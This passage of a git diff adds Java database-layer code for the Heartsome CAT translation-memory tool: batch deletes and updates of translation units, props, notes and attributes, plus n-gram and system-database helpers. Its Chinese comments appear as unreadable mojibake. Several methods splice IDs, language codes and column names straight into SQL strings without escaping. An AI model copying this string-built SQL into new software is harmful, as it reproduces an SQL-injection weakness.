(short) ngrams.length); + stmt.addBatch(); + } + stmt.executeBatch(); + stmt.close(); + } + } + + /** + * 更新一个语言片段,首先删除以å‰çš„片段,然åŽæ’入一个新的片段 + * @param lang + * @param tuvId + * @param pureText + * ; + * @throws SQLException + */ + public void updateMatrix_lang(String lang, int tuvId, String pureText) throws SQLException { + deleteMatrix_lang(lang, tuvId); + insertMatrix_lang(lang, tuvId, pureText); + } + + // TODO --------------- 批é‡å¤„ç†TMX----------------------------------// + + /** + * 1)如果一个TU下é¢åªæœ‰ä¸€ä¸ªè¯­è¨€å¯¹
    + * 一ã€åˆ é™¤TU .
    + * 1ã€åˆ é™¤TU表中TUçš„æ•°æ®
    + * 2ã€åˆ é™¤TU的扩展属性(A,E)两ç§ç±»åž‹
    + * 3ã€åˆ é™¤TUçš„note节点
    + * 4ã€åˆ é™¤TUçš„prop节点:åªå®šä¹‰å±žæ€§
    + * 二ã€åˆ é™¤TUV
    + * 1ã€åˆ é™¤TUV表的数æ®
    + * 2ã€åˆ é™¤TUV的扩展属性
    + * 3ã€TUVçš„note节点
    + * 4ã€TUVçš„prop节点ã€
    + * 5ã€æ›´æ–°lang表,如果删除TUVåŽï¼Œå¯èƒ½è¯­è¨€è¡¨ä¸­å°‘一个语言对
    + * 6ã€æ›´æ–°Matrix_lang表
    + * 2)如果一个TU下é¢æœ‰3中或以上语言
    + * 1ã€åˆ é™¤TUV表的数æ®
    + * 2ã€åˆ é™¤TUV的扩展属性
    + * 3ã€TUVçš„note节点
    + * 4ã€TUVçš„prop节点ã€
    + * 5ã€æ›´æ–°lang表,如果删除TUVåŽï¼Œå¯èƒ½è¯­è¨€è¡¨ä¸­å°‘一个语言对
    + * 6ã€æ›´æ–°Matrix_lang表
    7ã€æ›´æ–°TU的修改者和修改时间
    + */ + /** + * 获å–TU下é¢å°‘于3个TUVçš„tupkid + * @param tupkids + * @return ; + * @throws SQLException + */ + public List getTupkids4DeleteTus(List tupkids) throws SQLException { + List list = new ArrayList(); + for (int id : tupkids) { + if (getTuvCount(id) < 3) { + list.add(id); + } + } + return list; + } + + private int getTuvCount(int id) throws SQLException { + // SQL:select count(groupid) as TUVCOUNT from textdata where type ='M' and groupid =? + String sql = dbConfig.getOperateDbSQL("get-tuv-count-by-id"); + Map> rs = query(sql, new Object[] { id }); + String string = rs.get(0).get("TUVCOUNT"); + return Integer.parseInt(string); + } + + /** + * @param tupkids + * :全部TUid + * @param tuIds + * :åªæœ‰ä¸¤ä¸ªTUVçš„tu + * @return ; + */ + public List getTupkids4DeleteTuv(List tupkids, List tuIds) { + List ids4Tuv = new ArrayList(); + if (tuIds == null || tuIds.isEmpty()) { + return tupkids; + } + for (int id : tuIds) { + if (!tupkids.contains(id)) { + ids4Tuv.add(id); + } + } + return ids4Tuv; + } + + /** + * 删除TU表 + * @param tupkids + * ; + * @throws SQLException + */ + public void deleteTUs(List tupkids) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteMtuSQL = dbConfig.getOperateDbSQL("delete-mtu-byid-use-in"); + deleteMtuSQL = deleteMtuSQL.replaceAll("_SET_", converList2SetString(tupkids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteMtuSQL); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + + /** + * åˆ é™¤æ‰©å±•å±žæ€§è¡¨ä¸­çš„æ•°æ® + * @param tupkids + * @param parentName + * @throws SQLException + * ; + */ + public void deleteExValues(List tupkids, String parentName) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteTuExtra = dbConfig.getOperateDbSQL("delete-mextra-byid-use-in"); + deleteTuExtra = deleteTuExtra.replaceAll("_SET_", converList2SetString(tupkids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuExtra); + prepareStatement.setString(1, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + + /** + * 刪除NOTE表 + * @param tupkid + * ; + * @throws SQLException + */ + public void deleteNotes(List tupkids, String parentName) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteTuNoteSQL = dbConfig.getOperateDbSQL("delete-tunote-byid-use-in"); + deleteTuNoteSQL = deleteTuNoteSQL.replaceAll("_SET_", converList2SetString(tupkids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuNoteSQL); + prepareStatement.setString(1, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + + /** + * 删除prop表 + * @param parentId + * @param parentName + * @throws SQLException + * ; + */ + public void deleteProps(List tupkids, String parentName) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteTuPropSQL = dbConfig.getOperateDbSQL("delete-tumprop-byid-use-in"); + deleteTuPropSQL = deleteTuPropSQL.replaceAll("_SET_", converList2SetString(tupkids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuPropSQL); + prepareStatement.setString(1, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + + /** + * 得到TUVçš„id值 + * @param tuids + * @return + * @throws SQLException + * ; + */ + public List getTuvIdsByTuId(List tuids) throws SQLException { + List ids = new ArrayList(); + if (null == tuids || tuids.isEmpty()) { + return ids; + } + for (int id : tuids) { + Map> rs = query(dbConfig.getOperateDbSQL("get-tuv-id-by-tuid"), + new Object[] { id }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + while (iterator.hasNext()) { + Map next = iterator.next(); + if(next.get("TPKID")==null){ + continue; + } + ids.add(Integer.parseInt(next.get("TPKID"))); + } + } + return ids; + } + + /** + * 得到TUVçš„id值 + * @param tuids + * @return + * @throws SQLException + * ; + */ + public List getTuvIdsByTuIdAndTgt(List tuids, String tgtCode) throws SQLException { + List ids = new ArrayList(); + String operateDbSQL = dbConfig.getOperateDbSQL("get-tuv-id-by-tuid"); + operateDbSQL += "AND LANG =?"; + for (int id : tuids) { + Map> rs = query(operateDbSQL, new Object[] { id, tgtCode }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + while (iterator.hasNext()) { + Map next = iterator.next(); + ids.add(Integer.parseInt(next.get("TPKID"))); + } + } + return ids; + } + + /** + * 查询src,å’Œtgt按照src排åºè¿‡åŽ + * @param ignoreTag + * @param srcCode + * @param tgtCode + * @throws SQLException + * ; + */ + public Map> getSrcTgtGrouped(boolean ignoreTag, String srcCode, String tgtCode) + throws SQLException { + String sql = ""; + if (ignoreTag) { + sql = dbConfig.getOperateDbSQL("get-src-tgt-pure-ordered"); + } else { + sql = dbConfig.getOperateDbSQL("get-src-tgt-full-ordered"); + } + // TUPKID ,SRC,TGT,CHANGE_DATE + return query(sql, new Object[] { srcCode, tgtCode }); + } + + // Collection> values = rs.values(); + // Iterator> iterator = values.iterator(); + // // å°†TU按照原文相åŒè¿›è¡Œåˆ†ç»„ + // List>> groupTus = new ArrayList>>(); + // String srcPreContent = "-1"; + // String currContent = ""; + // List> tempList = null; + // while (iterator.hasNext()) { + // Map lineRs = iterator.next(); + // currContent = lineRs.get("SRC"); + // if (srcPreContent.equals(currContent)) { + // tempList.add(lineRs); + // } else { + // if (null != tempList && tempList.size() > 1) { + // groupTus.add(tempList); + // } + // tempList = new ArrayList>(); + // tempList.add(lineRs); + // srcPreContent = currContent; + // } + // + // } + // if (null != tempList && tempList.size() > 1) { + // groupTus.add(tempList); + // } + // return groupTus; + // } + + public void deleteTUVContentEndsSpace() throws SQLException { + // SQL :update textdata set content = trim(content) where length(content)<>length(trim(content)) + String updateStmt = dbConfig.getOperateDbSQL("update-tuv-ends-space"); + PreparedStatement prepareStatement = conn.prepareStatement(updateStmt); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + /** + * 删除TUV和其相关的Matrix_Lang表 + * @param tuvIds + * @param srcCode + * @param tgtCode + * ; + * @throws SQLException + */ + public void deleteTuvMatrixLang(List tuvIds, String srcCode, String tgtCode) throws SQLException { + if (null == tuvIds || tuvIds.isEmpty()) { + return; + } + deleteMatixLang(tuvIds, srcCode); + deleteMatixLang(tuvIds, tgtCode); + deleteTuv(tuvIds); + } + + protected void deleteMatixLang(List tuvIds, String lCode) throws SQLException { + if (tuvIds.isEmpty()) { + return; + } + String langCode = Utils.langToCode(lCode).toUpperCase(); + String deleteSql = dbConfig.getOperateDbSQL("delete-matrix_lang-use-in"); + deleteSql = deleteSql.replaceAll("__LANG__", langCode); + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(tuvIds)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + protected void deleteTuv(List tuvIds) throws SQLException { + if (tuvIds.isEmpty()) { + return; + } + String deleteSql = dbConfig.getOperateDbSQL("delete-tuv-by-id-use-in"); + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(tuvIds)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + /** + * 将一个id集åˆè½¬æ¢æˆset的字符串 + * @return ; + */ + protected String converList2SetString(List list) { + StringBuilder buString = new StringBuilder(); + for (int i : list) { + buString.append(i); + buString.append(","); + } + buString.deleteCharAt(buString.length() - 1); + return buString.toString(); + } + + protected String conver2SetString(List list) { + StringBuilder buString = new StringBuilder(); + for (String i : list) { + buString.append("'" + i + "'"); + buString.append(","); + } + buString.deleteCharAt(buString.length() - 1); + return buString.toString(); + } + + public boolean updateTuAttrByColumn(String colummName, String value) throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-tu-attr-by-column-name"); + updateSql = updateSql.replaceAll("_COLUMN_NAME_", colummName); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + if ("CREATIONDATE".equals(colummName) || "CHANGEDATE".equals(colummName)) { + prepareStatement.setTimestamp(1, DateUtils.getTimestampFromUTC(value)); + } else { + prepareStatement.setString(1, value); + } + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + public boolean updateTuAttrByColumnAndIds(String colummName, String value, List tupkids) + throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-tu-attr-by-column-name-ids"); + updateSql = updateSql.replaceAll("_COLUMN_NAME_", colummName); + updateSql = updateSql.replaceAll("_SET_", converList2SetString(tupkids)); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + if ("CREATIONDATE".equals(colummName) || "CHANGEDATE".equals(colummName)) { + prepareStatement.setTimestamp(1, DateUtils.getTimestampFromUTC(value)); + } else { + prepareStatement.setString(1, value); + } + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + /** + * 批é‡æ·»åŠ TUçš„PropèŠ‚ç‚¹ä¿¡æ¯ + * @param tuids + * @return ; + * @throws SQLException + */ + public boolean addTuRropByTuIds(String parentName, String paname, String content, List tuids, + IProgressMonitor monitor) throws SQLException { + if (tuids.isEmpty()) { + return false; + } + int total = tuids.size() / 1000; + monitor.beginTask("", total == 0 ? 1 : total); + // sql:INSERT INTO MPROP (PARENTNAME ,PARENTID,PNAME ,CONTENT) VALUES(?,?,?,?) + String insertPropSql = dbConfig.getOperateDbSQL("add-mprop"); + PreparedStatement prepareStatement = conn.prepareStatement(insertPropSql); + int count = 0; + boolean flag = false; + for (int id : tuids) { + prepareStatement.setString(1, parentName); + prepareStatement.setInt(2, id); + prepareStatement.setString(3, paname); + prepareStatement.setString(4, content); + count++; + prepareStatement.addBatch(); + if (count % 1000 == 0) { + prepareStatement.executeBatch(); + prepareStatement.clearBatch(); + flag = true; + count = 0; + monitor.worked(1); + } + } + if (count > 0) { + prepareStatement.executeBatch(); + prepareStatement.clearBatch(); + flag = true; + monitor.worked(1); + } + prepareStatement.close(); + monitor.done(); + return flag; + } + + /** + * 批é‡æ·»åŠ TUçš„PropèŠ‚ç‚¹ä¿¡æ¯ + * @param tuids + * @return ; + * @throws SQLException + */ + public boolean addTuNotesByTuIds(String parentName, String content, List tuids, IProgressMonitor monitor) + throws SQLException { + if (tuids.isEmpty()) { + return false; + } + int total = tuids.size() / 1000; + monitor.beginTask("", total == 0 ? 1 : total); + // sql:INSERT INTO MNOTE(PARENTNAME,PARENTID,CONTENT) VALUES(?,?,?) + String insertPropSql = dbConfig.getOperateDbSQL("add-simple-mnote"); + PreparedStatement prepareStatement = conn.prepareStatement(insertPropSql); + int count = 0; + boolean flag = false; + for (int id : tuids) { + prepareStatement.setString(1, parentName); + prepareStatement.setInt(2, id); + prepareStatement.setString(3, content); + count++; + prepareStatement.addBatch(); + if (count % 1000 == 0) { + prepareStatement.executeBatch(); + prepareStatement.clearBatch(); + flag = true; + count = 0; + monitor.worked(1); + } + } + if (count > 0) { + prepareStatement.executeBatch(); + prepareStatement.clearBatch(); + flag = true; + monitor.worked(1); + } + prepareStatement.close(); + monitor.done(); + return flag; + } + + /** + * 批é‡æ›´æ–°æ•´ä¸ªæ•°æ®åº“ + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @return + * @throws SQLException + * ; + */ + public boolean updateAllProp(String oldPname, String oldContent, String newPname, String newContent) + throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-mprop-by-content"); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newPname); + prepareStatement.setString(2, newContent); + prepareStatement.setString(3, oldPname); + prepareStatement.setString(4, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + prepareStatement.close(); + if (executeUpdate > 0) { + return true; + } + return false; + } + /** + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @return + * @throws SQLException ; + */ + public boolean updateAllPropType(String oldPname, String newPname) + throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-mprop-type"); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newPname); + prepareStatement.setString(2, oldPname); + int executeUpdate = prepareStatement.executeUpdate(); + prepareStatement.close(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + public boolean updateAllNotes(String oldContent, String newContent) throws SQLException { + // sql :UPDATE MNOTE SET CONTENT = ? WHERE CONTENT = ? + String updateSql = dbConfig.getOperateDbSQL("update-mnote-by-content"); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newContent); + prepareStatement.setString(2, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + /** + * ä¾æ®ID值批é‡æ›´æ–°æ•°æ®åº“ + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @param ids + * @return + * @throws SQLException + * ; + */ + public boolean updatePropByIds(String oldPname, String oldContent, String newPname, String newContent, + List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + String updateSql = dbConfig.getOperateDbSQL("update-mprop-by-content-ids"); + updateSql = updateSql.replaceAll("_SET_", converList2SetString(ids)); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newPname); + prepareStatement.setString(2, newContent); + prepareStatement.setString(3, oldPname); + prepareStatement.setString(4, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + + } + public boolean updatePropTypeByIds(String oldPname, String newPname, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + String updateSql = dbConfig.getOperateDbSQL("update-mprop-type-by-ids"); + updateSql = updateSql.replaceAll("_SET_", converList2SetString(ids)); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newPname); + prepareStatement.setString(2, oldPname); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + + } + + public boolean updateNotesByIds(String oldContent, String newContent, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + // sql :UPDATE MNOTE SET CONTENT = ? WHERE CONTENT = ? AND PARENTID IN (_SET_) + String updateSql = dbConfig.getOperateDbSQL("update-mnote-by-content-ids"); + updateSql = updateSql.replaceAll("_SET_", converList2SetString(ids)); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newContent); + prepareStatement.setString(2, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + + } + + /** + * 批é‡åˆ é™¤æ•´ä¸ªæ•°æ®åº“内容 + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @return + * @throws SQLException + * ; + */ + public boolean deleteAllProp(String oldPname, String oldContent) throws SQLException { + String deleteSql = dbConfig.getOperateDbSQL("delete-mprop-content"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, oldPname); + prepareStatement.setString(2, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + public boolean deleteAllNote(String oldContent) throws SQLException { + // sql:DELETE FROM MNOTE WHERE CONTENT = ? + String deleteSql = dbConfig.getOperateDbSQL("delete-mnote-by-content"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + /** + * ä¾æ®ID值删除数æ®åº“内容 + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @param ids + * @return + * @throws SQLException + * ; + */ + public boolean deletePropByIds(String oldPname, String oldContent, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + String deleteSql = dbConfig.getOperateDbSQL("delete-mprop-content-ids"); + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(ids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, oldPname); + prepareStatement.setString(2, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + public boolean deleteNotesByIds(String oldContent, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + // sql :DELETE FROM MNOTE WHERE CONTENT = ? AND PARENTID IN(_SET_) + String deleteSql = dbConfig.getOperateDbSQL("delete-mnote-by-content-ids"); + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(ids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + /** + * 批é‡æ·»åŠ æ‰©å±•å±žæ€§ + * @param parentName + * @param parentIds + * @param attName + * @param attriValue + * @param monitor + * @return + * @throws SQLException + * ; + */ + public boolean addExAttributes(String parentName, List parentIds, String attName, String attriValue, + IProgressMonitor monitor) throws SQLException { + if (parentIds.isEmpty()) { + return false; + } + int total = parentIds.size() / 1000; + monitor.beginTask("", total == 0 ? 1 : total); + // sql : INSERT INTO MEXTRA (PARENTNAME , PARENTID ,NTYPE ,NNAME,CONTENT) VALUES(?,?,'A',?,?) + String insertPropSql = dbConfig.getOperateDbSQL("add-attribute"); + PreparedStatement prepareStatement = conn.prepareStatement(insertPropSql); + int count = 0; + int[] executeBatch = new int[0]; + boolean flag = false; + for (int id : parentIds) { + prepareStatement.setString(1, parentName); + prepareStatement.setInt(2, id); + prepareStatement.setString(3, attName); + prepareStatement.setString(4, attriValue); + count++; + prepareStatement.addBatch(); + if (count % 1000 == 0) { + executeBatch = prepareStatement.executeBatch(); + prepareStatement.clearBatch(); + if (executeBatch.length > 0) { + flag = true; + } + count = 0; + monitor.worked(1); + } + } + if (count > 0) { + executeBatch = prepareStatement.executeBatch(); + prepareStatement.clearBatch(); + if (executeBatch.length > 0) { + flag = true; + } + monitor.worked(1); + } + prepareStatement.close(); + monitor.done(); + return flag; + } + + public List getAttrIdsByName(String name, List tuvIds) throws SQLException { + List ids = new ArrayList(); + // SQL :SELECT MEPKID FROM MEXTRA WHERE NNAME = ? AND NTYPE =? AND PARENTNAME=? + String operateDbSQL = dbConfig.getOperateDbSQL("get-mepkids-by-name"); + operateDbSQL = operateDbSQL.replaceAll("_SET_", converList2SetString(tuvIds)); + Map> rs = query(operateDbSQL, new Object[] { name, "A", "TUV" }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + while (iterator.hasNext()) { + Map next = iterator.next(); + ids.add(Integer.parseInt(next.get("MEPKID"))); + } + return ids; + } + + public boolean deleteExAttributes(List ids, String name, String content) throws SQLException { + if (ids.isEmpty()) { + return false; + } + // sql:DELETE FROM MEXTRA WHERE MEPKID IN(_SET_) + String deleteSql = dbConfig.getOperateDbSQL("update-ex-attibute-by-ids"); + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(ids)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + public List getTuvIdsByLangs(List langs) throws SQLException { + List results = new ArrayList(); + // sql:SELECT TPKID FROM TEXTDATA WHERE LANG IN (_LANG_SET_) + String sql = dbConfig.getOperateDbSQL("get-tpkid-by-langs"); + sql = sql.replaceAll("_LANG_SET_", conver2SetString(langs)); + PreparedStatement psmt = null; + ResultSet rs = null; + try { + psmt = conn.prepareStatement(sql); + rs = psmt.executeQuery(); + while (rs.next()) { + results.add(rs.getInt(1)); + } + } finally { + if (rs != null) { + rs.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return results; + } + + public List getTuvIdsByLangsAndTuids(List langs, List tuids) throws SQLException { + List results = new ArrayList(); + // sql: SELECT TPKID FROM TEXTDATA WHERE LANG IN (_LANG_SET_) AND GROUPID IN (_SET_) + String sql = dbConfig.getOperateDbSQL("get-tpkid-by-langs-groupids"); + sql = sql.replaceAll("_LANG_SET_", conver2SetString(langs)); + sql = sql.replaceAll("_SET_", converList2SetString(tuids)); + PreparedStatement psmt = null; + ResultSet rs = null; + try { + psmt = conn.prepareStatement(sql); + rs = psmt.executeQuery(); + while (rs.next()) { + results.add(rs.getInt(1)); + } + } finally { + if (rs != null) { + rs.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return results; + } + + public boolean isReadOnly() { + String sql1 = "insert into LANG values('test')"; + String sql2 = "update LANG set langcode='test' where langcode='test'"; + Statement stm = null; + try { + beginTransaction(); + stm = conn.createStatement(); + stm.executeUpdate(sql1); + stm.executeUpdate(sql2); + } catch (SQLException e) { + return true; + } finally { + try { + rollBack(); + if (stm != null) { + stm.close(); + } + } catch (SQLException e) { + e.printStackTrace(); + } + } + return false; + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBServiceProvider.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBServiceProvider.java new file mode 100644 index 0000000..9e41b34 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBServiceProvider.java @@ -0,0 +1,9 @@ +package net.heartsome.cat.database; + +public interface DBServiceProvider { + + public DBOperator getTmDatabaseInstance(); + + public SystemDBOperator getOperateDBInstance(); + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/NGrams.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/NGrams.java new file mode 100644 index 0000000..693a8c1 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/NGrams.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.database; + +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.StringTokenizer; +import java.util.Vector; + +public class NGrams { + + private static int NGRAMSIZE = 3; + public static String SEPARATORS = " \r\n\f\t\u2028\u2029,.;\"\':<>?!()[]{}=+-/*\u00AB\u00BB\u201C\u201D\u201E\uFF00\u2003"; //$NON-NLS-1$ + + public static int[] getNGrams(String src, boolean quality) { + src = src.toLowerCase(); + Vector words = buildWordList(src); + Hashtable table = new Hashtable(); + + if (quality) { + Iterator it = words.iterator(); + while (it.hasNext()) { + String word = it.next(); + char[] array = word.toCharArray(); + int length = word.length(); + int ngrams = length / NGRAMSIZE; + if ( ngrams * NGRAMSIZE < length ) { + ngrams++; + } + for (int i = 0; i < ngrams; i++) { + String gram = ""; + for (int j = 0; j < NGRAMSIZE; j++) { + if ( i*NGRAMSIZE + j < length) { + char c = array[i*NGRAMSIZE + j]; + gram = gram + c; + } + } + table.put("" + gram.hashCode(), ""); + } + } + } else { + int length = words.size(); + for (int i=0 ; i keys = table.keys(); + int[] result = new int[table.size()]; + int idx = 0; + while (keys.hasMoreElements()) { + result[idx++] = Integer.parseInt(keys.nextElement()); + } + return result; + } + + private static Vector buildWordList(String src) { + Vector result = new Vector(); + StringTokenizer tokenizer = new StringTokenizer(src,SEPARATORS); + while (tokenizer.hasMoreElements()) { + result.add(tokenizer.nextToken()); + } + return result; + } + +} \ No newline at end of file diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/SystemDBOperator.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/SystemDBOperator.java new file mode 100644 index 0000000..d2a1f42 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/SystemDBOperator.java @@ -0,0 +1,423 @@ +package net.heartsome.cat.database; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 系统数æ®åº“管ç†ç±»,管ç†å½“å‰æ•°æ®åº“类型中的所有记忆库/术语库 + * @author terry + */ +public abstract class SystemDBOperator { + + private Logger logger = LoggerFactory.getLogger(SystemDBOperator.class); + + /** æ•°æ®åº“å…ƒæ•°æ® */ + protected MetaData metaData; + + /** æ“作数æ®åº“é…ç½® */ + protected DBConfig dbConfig; + + /** ä¸èƒ½è¿žæŽ¥æ•°æ®åº“ */ + public static final int FAILURE_1 = -1; + + /** + * 创建数æ®åº“æ“作 + * @return + * @throws SQLException + */ + public int createDB() throws SQLException { + String createDb = Utils.replaceParams(dbConfig.getCreateDb(), metaData); + List createTables = dbConfig.getCreateTables(); + createTables.addAll(dbConfig.getCreateIndexs()); + return createDB(createDb, createTables, metaData); + } + + /** + * 创建系统库 + * @return + * @throws SQLException + */ + public int createSysDb() throws SQLException { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return Constants.FAILURE; + } + String createDb = Utils.replaceParams(dbConfig.getCreateSysDb(), data); + List createTables = dbConfig.getCreateSysTables(); + return createDB(createDb, createTables, data); + } + + protected int createDB(String createDb, List createTables, MetaData metaData) throws SQLException { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // 创建数æ®åº“ + try { + conn = getConnection(driver, url.substring(0, url.lastIndexOf("/") + 1), prop); //$NON-NLS-1$ + stmt = conn.createStatement(); + stmt.execute(createDb); + } catch (ClassNotFoundException e) { + logger.error("", e); + return Constants.FAILURE; + } finally { + freeConnection(stmt, conn); + } + // 创建数æ®åº“表格 + try { + conn = getConnection(driver, url, prop); + conn.setAutoCommit(false); + stmt = conn.createStatement(); + if (createTables != null) { + for (String i : createTables) { + String step = Utils.replaceParams(i, metaData); + stmt.execute(step); + } + } + conn.commit(); + } catch (SQLException e) { + try { + if (conn != null && !conn.isClosed()) { + conn.rollback(); + } + } catch (SQLException e1) { + logger.warn("", e1); + } + logger.warn("SQL Exception", e); + return Constants.FAILURE; + } catch (ClassNotFoundException e) { + try { + if (conn != null && !conn.isClosed()) { + conn.rollback(); + } + } catch (SQLException e1) { + logger.warn("", e1); + } + logger.warn("", e); + return Constants.FAILURE; + } finally { + freeConnection(stmt, conn); + } + return Constants.SUCCESS; + } + + /** + * 测试数æ®åº“æœåŠ¡å™¨è¿žæŽ¥ï¼Œä¸é€‚用于Internal DB + * @return false 连接失败, true 连接æˆåŠŸ; + */ + public boolean checkDbConnection() { + Connection conn = null; + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(""); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return false; + } + + try { + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + String driver = dbConfig.getDriver(); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + conn = getConnection(driver, url, prop); + } catch (ClassNotFoundException e) { + logger.error(Messages.getString("database.SystemDBOperator.logger1"), e); + return false; + } catch (SQLException e) { + logger.error(Messages.getString("database.SystemDBOperator.logger2"), e); + return false; + } finally { + if (conn != null) { + try { + conn.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + } + return true; + } + + /** + * 更新系统库,如果系统库没有创建,则先创建系统库å†æ’å…¥æ•°æ® + * @throws SQLException + */ + public void updataSysDb(int type) throws SQLException { + boolean result = checkSysDb(); + if (result) { + addSysDb(metaData.getDatabaseName(), (Constants.OPTIMIZE_SPEED.equals(metaData.getOptimize())) ? "y" : "n",type); + } else { + createSysDb(); + } + } + + /** + * 检查系统库是å¦å·²ç»åˆ›å»º + * @return true 已创建, false 没有创建 + */ + public boolean checkSysDb() { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return false; + } + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + try { + conn = getConnection(driver, url, prop); + } catch (ClassNotFoundException e) { + 